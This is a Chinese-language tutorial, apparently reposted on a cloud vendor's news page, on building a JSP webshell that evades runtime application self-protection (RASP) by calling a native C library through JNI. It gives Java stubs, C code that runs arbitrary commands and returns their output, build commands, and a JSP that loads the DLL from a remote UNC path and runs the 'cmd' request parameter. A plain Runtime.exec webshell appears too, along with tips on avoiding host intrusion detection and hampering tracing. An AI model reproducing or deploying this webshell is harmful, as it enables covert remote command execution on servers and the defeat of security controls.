您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關JNI技術繞過rasp防護怎么實現jsp webshell,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
想到rasp這類工具是基于java、php運行期的堆棧信息進行分析,可以嘗試使用jni技術進行繞過。java技術棧中的jni的原理是使用java調用c、c++函數,具體實現的思路是jsp編譯為class文件,該class通過jni技術調用另外一處dll里的函數繞過黑名單執行命令獲取回顯,即可實現rasp和安全防護軟件的繞過。
以我們要實現的jsp webshell命名為test.jsp為例。由于jni技術需要先通過javah+.class文件生成.h開頭的c頭文件,jsp是一種特殊的class文件,而jsp經過Tomcat編譯class文件,命名遵從test.jsp ->> org.apache.jsp.test_jsp.class,所以我們需要新建package為org.apache.jsp,類名為test_jsp的.java文件。```package org.apache.jsp; public class test_jsp { class JniClass { public native String exec( String string ); } }
cd到編譯生成的target/class目錄,使用javah org.apache.jsp.test_jsp$JniClass命令生成org_apache_jsp_test_jsp_JniClass.h文件,內容為:
/DO NOT EDIT THIS FILE - it is machine generated /
#include / Header for classorg_apache_jsp_test_jsp_JniClass /
#ifndef_Included_org_apache_jsp_test_jsp_JniClass
#define_Included_org_apache_jsp_test_jsp_JniClass
#ifdef __cplusplusextern "C" {
#endif
/*
Class: org_apache_jsp_test_jsp_JniClass
*Method: exec
*Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALLJava_org_apache_jsp_test_1jsp_00024JniClass_exec
(JNIEnv*, jobject, jstring);
#ifdef __cplusplus}
#endif
#endif 調用上一步生成頭文件,編寫有回顯的c語言代碼
#include"jni.h"
#include"org_apache_jsp_test_jsp_JniClass.h"
#include
#include
#include
#include
#include int execmd(const char cmd, char result)
{ char buffer[102412]; //定義緩沖區 FILE pipe = _popen(cmd, "r"); //打開管道,并執行命令 if (!pipe) return 0; //返回0表示運行失敗 while (!feof(pipe)){ if (fgets(buffer, 128, pipe)) { //將管道輸出到result中 strcat(result, buffer); }
} _pclose(pipe); //關閉管道 return 1; //返回1表示運行成功}JNIEXPORT jstring JNICALLJava_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv env, jobjectclass_object, jstring jstr){ const char cstr = (env)->GetStringUTFChars(env, jstr, NULL); char result[1024 12] = ""; //定義存放結果的字符串數組 if (1 == execmd(cstr, result))
{ // printf(result);} char return_messge[100] = ""; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); //system(); return cmdresult;}}
使用gcc將該c源碼編譯為dll或者lib(注意jdk版本要與目標機器的 jdk保持一致)
gcc -I "c:\Program Files\Java\jdk1.7.0_75\include" -I "c:\Program Files\Java\jdk1.7.0_75\include\win32" --shared JniClass.c -o 1.dll
具體在jsp load時有兩種思路,一種是將該jsp文件和該dll放置于服務器的本地路徑。jsp的代碼里指定dll的絕對路徑\相對路徑;另外一種是使用unc路徑,這樣惡意dll通過遠程部署,加強隱蔽程度,加大溯源難度、提高部署靈活度。
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! class JniClass { public native String exec(String string); public JniClass() { //System.load("/Users/nano/upload/libJniClass.jnilib"); System.load("\\8.8.8.8\classes\1.dll"); } } ; %> <% String cmd = request.getParameter("cmd"); JniClass jniClass = new JniClass(); String res = jniClass.exec(cmd); %>
<%=res%>```
i. 對于linux|mac環境,上一步生成的java內部類叫做JniClass,在類unix平臺下,加載的庫名需要為lib開頭+JniClass+jnilib或者dylib。ii. 核心的system.load|loadLibrary法是以File的形式記載dll|lib文件,該dll|lib路徑的以遠程的方式加載的絕對路徑,所以需要目標機器上測試判斷環境是支持//,還是支持\\?簡單判斷方法是new file(path),然后判斷file.exist。如果是前者的linux環境,需要想辦法使用//的unc路徑,推薦使用samba搭建匿名訪問服務放置.jnilib載荷。如果是后者,即目標服務器為windows下的java應用,遠程路徑需要以\\開頭,dll需要放在windows下,在windows平臺下445不通的情況下,會訪問WebD**(開啟webclient)的80端口下載下來dll執行。iii. jni載荷的c、c++實現的代碼要具備健壯性,避免目標環境的jvm奔潰。iv. 使用system函數執行命令要小心被hids發現。v. 該webshell只在tomcat容器上測試過。
經測試:jdk1.7+tomcat8.5+windows環境
jdk10+tomcat+Mac
rasp安全防護全開。
rasp安全防護全開。
樣本index.jsp為傳統的基于Runtime.getRuntime執行命令,
<%@ page import="java.io.*" %> <% try { String cmd = request.getParameter("cmd"); Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println(e); } %>
毫不意外的被rasp記錄日志并阻斷。
使用jni突破rasp的jsp來執行shell,成功繞過。
成功繞過。
使用d盾查殺
virustotal:
看完上述內容,你們對JNI技術繞過rasp防護怎么實現jsp webshell有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。